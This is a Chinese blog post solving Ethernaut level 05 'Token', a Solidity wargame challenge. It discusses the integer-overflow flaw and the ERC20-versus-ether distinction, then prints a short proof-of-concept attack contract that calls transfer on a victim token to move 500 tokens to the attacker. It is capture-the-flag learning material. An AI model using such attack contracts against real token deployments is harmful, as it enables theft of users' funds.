Ethernaut 05 Token

最新推荐文章于 2024-08-04 16:21:07 发布

siritobla

最新推荐文章于 2024-08-04 16:21:07 发布

阅读量685

点赞数

分类专栏： blockchain

本文链接：https://blog.csdn.net/siritobla/article/details/126040304

版权

blockchain 专栏收录该内容

6 篇文章 0 订阅

订阅专栏

题意理解：一开始觉得题目考察的是整型溢出漏洞(虽然该漏洞在该合约中确实存在)，但后来发现并非如此，个人觉得本题更倾向于考察对ERC20代币和以太坊主币的区分

以下是本题的POC合约：

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

interface Token {
    function transfer(address _to, uint _value) external returns (bool);
    function balanceOf(address _owner) external view returns (uint balance);


}


contract POC {
    address public owner;
    address public victim;

    constructor(){
        owner = msg.sender;
    }

    function setVictim(address victim_) public {
        victim =victim_;
    }


    function attack () public {
        Token token = Token(victim);
        token.transfer(owner , 500);
    }
}